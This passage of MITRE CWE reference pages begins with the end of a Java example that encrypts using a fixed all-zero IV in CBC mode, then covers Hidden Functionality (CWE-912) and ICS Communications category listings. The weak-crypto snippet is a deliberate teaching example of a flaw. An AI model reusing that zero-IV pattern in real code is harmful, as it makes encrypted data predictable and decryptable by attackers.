cipher.init(Cipher.ENCRYPT_MODE, key, ips);
return cipher.doFinal(inpBytes);
}
}

In both of these examples, the initialization vector (IV) is always a block of zeros. This makes the resulting cipher text much more predictable and susceptible to a dictionary attack.



+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
encryption functionality in an authentication framework uses a fixed null IV with CBC mode, allowing attackers to decrypt traffic in applications that use this functionality
messages for a door-unlocking product use a fixed IV in CBC mode, which is the same after each restart
application uses AES in CBC mode, but the pseudo-random secret and IV are generated using math.random, which is not cryptographically strong.
Blowfish-CBC implementation constructs an IV where each byte is calculated modulo 8 instead of modulo 256, resulting in less than 12 bits for the effective IV length, and less than 4096 possible IV values.
BEAST attack in SSL 3.0 / TLS 1.0. In CBC mode, chained initialization vectors are non-random, allowing decryption of HTTPS traffic using a chosen plaintext attack.
+ Detection Methods
Method Details

Automated Static Analysis
Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High
+ Functional Areas
  • Cryptography
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 959 SFP Secondary Cluster: Weak Cryptography
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1346 OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1370 ICS Supply Chain: Common Mode Frailties
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1414 Comprehensive Categorization: Randomness
+ Vulnerability Mapping Notes
Usage ALLOWED
(this CWE ID may be used to map to real-world vulnerabilities)
Reason Acceptable-Use

Rationale

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Maintenance

As of CWE 4.5, terminology related to randomness, entropy, and predictability can vary widely. Within the developer and other communities, "randomness" is used heavily. However, within cryptography, "entropy" is distinct, typically implied as a measurement. There are no commonly-used definitions, even within standards documents and cryptography papers. Future versions of CWE will attempt to define these terms and, if necessary, distinguish between them in ways that are appropriate for different communities but do not reduce the usability of CWE for mapping, understanding, or other scenarios.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
CLASP Not using a random IV with CBC mode
+ References
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 2, "Initialization Vectors", Page 42. 1st Edition. Addison Wesley. 2006.
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005.
<https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>. (URL validated: 2024-11-17)
[REF-1171] Matthew Green. "Why IND-CPA implies randomized encryption". 2018-08-24.
<https://blog.cryptographyengineering.com/why-ind-cpa-implies-randomized-encryption/>.
[REF-1172] NIST. "Recommendation for Block Cipher Modes of Operation". Appendix C. 2001-12.
<https://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-38a.pdf>. (URL validated: 2023-04-07)
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19) 		CLASP
+ Modifications
Modification Date Modifier Organization
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2023-04-27 CWE Content Team MITRE
updated Detection_Factors, Modes_of_Introduction, Relationships, Time_of_Introduction
2023-01-31 CWE Content Team MITRE
updated Applicable_Platforms
2022-04-28 CWE Content Team MITRE
updated Relationships
2021-10-28 CWE Content Team MITRE
updated Relationships
2021-07-20 CWE Content Team MITRE
updated Description, Maintenance_Notes, Name, References
2021-03-15 CWE Content Team MITRE
updated Background_Details, Common_Consequences, Demonstrative_Examples, Description, Modes_of_Introduction, Name, Observed_Examples, Potential_Mitigations, References, Relationships
2020-02-24 CWE Content Team MITRE
updated Relationships
2019-06-20 CWE Content Team MITRE
updated Demonstrative_Examples
2017-11-08 CWE Content Team MITRE
updated Applicable_Platforms, Demonstrative_Examples
2014-07-30 CWE Content Team MITRE
updated Relationships
2012-10-30 CWE Content Team MITRE
updated Demonstrative_Examples, Potential_Mitigations
2012-05-11 CWE Content Team MITRE
updated References, Relationships
2011-06-01 CWE Content Team MITRE
updated Common_Consequences
2008-09-08 CWE Content Team MITRE
updated Background_Details, Common_Consequences, Functional_Areas, Relationships, Taxonomy_Mappings
2008-07-01 Eric Dalci Cigital
updated Time_of_Introduction
+ Previous Entry Names
Change Date Previous Entry Name
2021-03-15 Not Using a Random IV with CBC Mode
2021-07-20 Not Using an Unpredictable IV with CBC Mode
Back to top

CWE-912: Hidden Functionality

Weakness ID: 912
Vulnerability Mapping: ALLOWED This CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product contains functionality that is not documented, not part of the specification, and not accessible through an interface or command sequence that is obvious to the product's users or administrators.
+ Extended Description
Hidden functionality can take many forms, such as intentionally malicious code, "Easter Eggs" that contain extraneous functionality such as games, developer-friendly shortcuts that reduce maintenance or support costs such as hard-coded accounts, etc. From a security perspective, even when the functionality is not intentionally malicious or damaging, it can increase the product's attack surface and expose additional weaknesses beyond what is already exposed by the intended functionality. Even if it is not easily accessible, the hidden functionality could be useful for attacks that modify the control flow of the application.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Varies by Context; Alter Execution Logic

Scope: Other, Integrity

+ Potential Mitigations
Phase(s) Mitigation

Installation
Always verify the integrity of the product that is being installed.

Testing
Conduct a code coverage analysis using live testing, then closely inspect any code that is not covered.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 684 Incorrect Provision of Specified Functionality
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 506 Embedded Malicious Code
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1242 Inclusion of Undocumented Features or Chicken Bits
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Technologies

Class: Not Technology-Specific (Undetermined Prevalence)

Class: ICS/OT (Undetermined Prevalence)

+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
Chain: a digital asset management program has an undisclosed backdoor in the legacy version of a PHP script (CWE-912) that could allow an unauthenticated user to export metadata (CWE-306)
A wireless access point manual specifies that the only method of configuration is via web interface (CWE-1059), but there is an undisclosed telnet server that was activated by default (CWE-912).
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1371 ICS Supply Chain: Poorly Documented or Undocumented Features
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1412 Comprehensive Categorization: Poor Coding Practices
+ Vulnerability Mapping Notes
Usage ALLOWED-WITH-REVIEW
(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)
Reason Abstraction

Rationale

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments

Examine children of this entry to see if there is a better fit
+ Content History
+ Submissions
Submission Date Submitter Organization
2012-12-28
(CWE 2.4, 2013-02-21) 		CWE Content Team MITRE
+ Modifications
Modification Date Modifier Organization
2025-04-03
(CWE 4.17, 2025-04-03) 		CWE Content Team MITRE
updated Relationships
2023-10-26 CWE Content Team MITRE
updated Observed_Examples
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2023-04-27 CWE Content Team MITRE
updated Relationships
2023-01-31 CWE Content Team MITRE
updated Applicable_Platforms, Description, Potential_Mitigations
2022-04-28 CWE Content Team MITRE
updated Relationships
2020-02-24 CWE Content Team MITRE
updated Relationships
2019-06-20 CWE Content Team MITRE
updated Related_Attack_Patterns
2017-11-08 CWE Content Team MITRE
updated Relationships
Back to top

CWE CATEGORY: ICS Communications

Category ID: 1359
Vulnerability Mapping: PROHIBITED This CWE ID must not be used to map to real-world vulnerabilities
+ Summary
Weaknesses in this category are related to the "ICS Communications" super category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022.
+ Membership
Nature Type ID Name
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1358 Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS
HasMember CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1364 ICS Communications: Zone Boundary Failures
HasMember CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1365 ICS Communications: Unreliability
HasMember CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1366 ICS Communications: Frail Security in Protocols
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Notes

Relationship

Relationships in this category are not authoritative and subject to change. See Maintenance notes.

Maintenance

This category was created in CWE 4.7 to facilitate and illuminate discussion about weaknesses in ICS with [REF-1248] as a starting point. After the release of CWE 4.9 in October 2022, this has been under active review by members of the "Boosting CWE" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG). Relationships are still subject to change. In addition, there may be some issues in [REF-1248] that are outside of the current scope of CWE, which will require consultation with many CWE stakeholders to resolve.
+ References
[REF-1248] Securing Energy Infrastructure Executive Task Force (SEI ETF). "Categories of Security Vulnerabilities in ICS". 2022-03-09. <https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1_03-09-22.pdf>.
+ Content History
+ Submissions
Submission Date Submitter Organization
2022-03-09
(CWE 4.7, 2022-04-28) 		New Categories of Security Vulnerabilities (NCSV) Technical Project Team (TPT) Securing Energy Infrastructure Executive Task Force
+ Modifications
Modification Date Modifier Organization
2023-01-31 CWE Content Team MITRE
updated Maintenance_Notes, Relationship_Notes
2023-04-27 CWE Content Team MITRE
updated Mapping_Notes
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
Back to top

CWE CATEGORY: ICS Communications: Frail Security in Protocols

Category ID: 1366
Vulnerability Mapping: PROHIBITED This CWE ID must not be used to map to real-world vulnerabilities
+ Summary
Weaknesses in this category are related to the "Frail Security in Protocols" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "Vulnerabilities arise as a result of mis-implementation or incomplete implementation of security in ICS implementations of communication protocols." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.
+ Membership
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1359 ICS Communications
HasMember VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 121 Stack-based Buffer Overflow
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 125 Out-of-bounds Read
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 268 Privilege Chaining
HasMember ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 269 Improper Privilege Management
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 276 Incorrect Default Permissions
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 290 Authentication Bypass by Spoofing
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 306 Missing Authentication for Critical Function
HasMember ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 311 Missing Encryption of Sensitive Data
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 312 Cleartext Storage of Sensitive Information
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 319 Cleartext Transmission of Sensitive Information
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 325 Missing Cryptographic Step
HasMember ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 327 Use of a Broken or Risky Cryptographic Algorithm
HasMember ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 330 Use of Insufficiently Random Values
HasMember VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 336 Same Seed in Pseudo-Random Number Generator (PRNG)
HasMember VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 337 Predictable Seed in Pseudo-Random Number Generator (PRNG)
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 341 Predictable from Observable State
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 349 Acceptance of Extraneous Untrusted Data With Trusted Data
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 358 Improperly Implemented Security Check for Standard
HasMember ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
HasMember ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 377 Insecure Temporary File
HasMember CompositeComposite - a Compound Element that consists of two or more distinct weaknesses, in which all weaknesses must be present at the same time in order for a potential vulnerability to arise. Removing any of the weaknesses eliminates or sharply reduces the risk. One weakness, X, can be "broken down" into component weaknesses Y and Z. There can be cases in which one weakness might not be essential to a composite, but changes the nature of the composite when it becomes a vulnerability. 384 Session Fixation
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 648 Incorrect Use of Privileged APIs
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 787 Out-of-bounds Write
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1189 Improper Isolation of Shared Resources on System-on-a-Chip (SoC)
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1303 Non-Transparent Sharing of Microarchitectural Resources
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1393 Use of Default Password
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Notes

Relationship

Relationships in this category are not authoritative and subject to change. See Maintenance notes.

Maintenance

This category was created in CWE 4.7 to facilitate and illuminate discussion about weaknesses in ICS with [REF-1248] as a starting point. After the release of CWE 4.9 in October 2022, this has been under active review by members of the "Boosting CWE" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG). Relationships are still subject to change. In addition, there may be some issues in [REF-1248] that are outside of the current scope of CWE, which will require consultation with many CWE stakeholders to resolve.
+ References
[REF-1259] Wikipedia. "Transport Layer Security". <https://en.wikipedia.org/wiki/Transport_Layer_Security>.
[REF-1248] Securing Energy Infrastructure Executive Task Force (SEI ETF). "Categories of Security Vulnerabilities in ICS". ICS Communications. 2022-03-09. <https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1_03-09-22.pdf>.
+ Content History
+ Submissions
Submission Date Submitter Organization
2022-03-09
(CWE 4.7, 2022-04-28) 		New Categories of Security Vulnerabilities (NCSV) Technical Project Team (TPT) Securing Energy Infrastructure Executive Task Force
+ Contributions
Contribution Date Contributor Organization
2023-04-26
(CWE 4.11, 2023-04-26) 		"Boosting CWE Content" Sub-Working Group CWE-CAPEC ICS/OT SIG
Suggested weaknesses to add to this category.
2023-06-29
(CWE 4.12, 2023-06-29) 		"Boosting CWE Content" Sub-Working Group CWE-CAPEC ICS/OT SIG
Suggested weaknesses to add to this category.
+ Modifications
Modification Date Modifier Organization
2023-01-31 CWE Content Team MITRE
updated Description, Maintenance_Notes, Relationship_Notes
2023-04-27 CWE Content Team MITRE
updated Mapping_Notes, Relationships
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes, Relationships
Back to top

CWE CATEGORY: ICS Communications: Unreliability

Category ID: 1365
Vulnerability Mapping: PROHIBITED This CWE ID must not be used to map to real-world vulnerabilities
+ Summary
Weaknesses in this category are related to the "Unreliability" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "Vulnerabilities arise in reaction to disruptions in the physical layer (e.g. creating electrical noise) used to carry the traffic." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.
+ Membership
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1359 ICS Communications
HasMember VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 121 Stack-based Buffer Overflow
HasMember ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 269 Improper Privilege Management
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 306 Missing Authentication for Critical Function
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 349 Acceptance of Extraneous Untrusted Data With Trusted Data
HasMember ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 807 Reliance on Untrusted Inputs in a Security Decision
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1247 Improper Protection Against Voltage and Clock Glitches
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1261 Improper Handling of Single Event Upsets
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1332 Improper Handling of Faults that Lead to Instruction Skips
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1351 Improper Handling of Hardware Behavior in Exceptionally Cold Environments
HasMember ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 1384 Improper Handling of Physical or Environmental Conditions
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Notes

Relationship

Relationships in this category are not authoritative and subject to change. See Maintenance notes.

Maintenance

This category was created in CWE 4.7 to facilitate and illuminate discussion about weaknesses in ICS with [REF-1248] as a starting point. After the release of CWE 4.9 in October 2022, this has been under active review by members of the "Boosting CWE" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG). Relationships are still subject to change. In addition, there may be some issues in [REF-1248] that are outside of the current scope of CWE, which will require consultation with many CWE stakeholders to resolve.
+ References
[REF-1258] Wikipedia. "Random early detection". <https://en.wikipedia.org/wiki/Random_early_detection>.
[REF-1248] Securing Energy Infrastructure Executive Task Force (SEI ETF). "Categories of Security Vulnerabilities in ICS". ICS Communications. 2022-03-09. <https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1_03-09-22.pdf>.
+ Content History
+ Submissions
Submission Date Submitter Organization
2022-03-09
(CWE 4.7, 2022-04-28) 		New Categories of Security Vulnerabilities (NCSV) Technical Project Team (TPT) Securing Energy Infrastructure Executive Task Force
+ Contributions
Contribution Date Contributor Organization
2023-04-26
(CWE 4.11, 2023-04-26) 		"Boosting CWE Content" Sub-Working Group CWE-CAPEC ICS/OT SIG
Suggested weaknesses to add to this category.
2023-06-29
(CWE 4.12, 2023-06-29) 		"Boosting CWE Content" Sub-Working Group CWE-CAPEC ICS/OT SIG
Suggested weaknesses to add to this category.
+ Modifications
Modification Date Modifier Organization
2023-01-31 CWE Content Team MITRE
updated Description, Maintenance_Notes, Relationship_Notes
2023-04-27 CWE Content Team MITRE
updated Mapping_Notes, Relationships
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes, Relationships
Back to top

CWE CATEGORY: ICS Communications: Zone Boundary Failures

Category ID: 1364
Vulnerability Mapping: PROHIBITED This CWE ID must not be used to map to real-world vulnerabilities
+ Summary
Weaknesses in this category are related to the "Zone Boundary Failures" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "Within an ICS system, for traffic that crosses through network zone boundaries, vulnerabilities arise when those boundaries were designed for safety or other purposes but are being repurposed for security." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.
+ Membership
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1359 ICS Communications
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 212 Improper Removal of Sensitive Information Before Storage or Transfer
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 268 Privilege Chaining
HasMember ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 269 Improper Privilege Management
HasMember ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 287 Improper Authentication
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 288 Authentication Bypass Using an Alternate Path or Channel
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 306 Missing Authentication for Critical Function
HasMember ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
